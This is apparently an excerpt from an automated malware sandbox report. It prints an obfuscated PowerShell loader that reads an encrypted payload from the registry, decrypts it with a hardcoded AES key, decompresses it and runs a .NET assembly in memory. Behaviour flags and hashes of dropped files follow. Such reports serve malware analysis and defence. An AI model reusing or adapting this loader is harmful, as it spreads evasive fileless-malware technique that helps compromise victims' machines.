[System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ePPUG0);$ePPUG1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('B6w/lTc6p59jqUqB4wjVkQ==');$ePPUG1 = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ePPUG1, 0, $ePPUG1.Length);$ePPUG1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ePPUG1);$ePPUG2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eYUOUZAoEZ01LnuzZR3N1g==');$ePPUG2 = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ePPUG2, 0, $ePPUG2.Length);$ePPUG2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ePPUG2);$ePPUG3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bucf54fGGhzGfijU+rpi1A==');$ePPUG3 = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ePPUG3, 0, $ePPUG3.Length);$ePPUG3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ePPUG3);$EaHLT.Dispose();$AVEyf1.Dispose();if (@(get-process -ea silentlycontinue $ePPUG3).count -gt 1) {exit};$SHyhW = [Microsoft.Win32.Registry]::$JErwL.$fmcMD($ePPUG).$viRNi($JMrHl);$widJE=[string[]]$SHyhW.Split('\');$CDgRe=kjVhA(aDphM([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($widJE[1])));LsklH $CDgRe (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$rGfhy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($widJE[0]);$AVEyf = New-Object System.Security.Cryptography.AesManaged;$AVEyf.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AVEyf.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AVEyf.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b007rYEV/W3WOBaIaYp4PVbns1T2e9vKRGRoYjhbc4w=');$AVEyf.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('P/st2pESncGAcUEjrvWNvQ==');$wPVpy = $AVEyf.('rotpyrceDetaerC'[-1..-15] -join '')();$rGfhy = $wPVpy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rGfhy, 0, $rGfhy.Length);$wPVpy.Dispose();$AVEyf.Dispose();$xiSBi = New-Object System.IO.MemoryStream(, $rGfhy);$DEAQR = New-Object System.IO.MemoryStream;$Uxbkk = New-Object System.IO.Compression.GZipStream($xiSBi, [IO.Compression.CompressionMode]::$ePPUG1);$Uxbkk.$MgDet($DEAQR);$Uxbkk.Dispose();$xiSBi.Dispose();$DEAQR.Dispose();$rGfhy = $DEAQR.ToArray();$ZUXJz = $irdwF | IEX;$RCfYC = $ZUXJz::$ePPUG2($rGfhy);$lSBDH = $RCfYC.EntryPoint;$lSBDH.$ePPUG0($null, (, [string[]] ($eYSbf)))4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1668
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{22743793-a72e-4761-9d60-190e97c2b6e3}4⤵PID:2772
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
66KB
MD5f3e519696a4b0b1f6cead747af912eb6
SHA1ea7b2a01712eda7460f6e6a30a7425c133a39976
SHA2561481eb501796710974a3ae2a5fac255bf55cc96ae77155b3c60429e4fff930b7
SHA512f8d988c3957bce73870a45a18ff37382c3ae3819934de346a00cf262f20330ccb5b43394f558ef4af45727ca434803373e5043594f747890ab19fad68d848a69
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Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
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Filesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
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Filesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045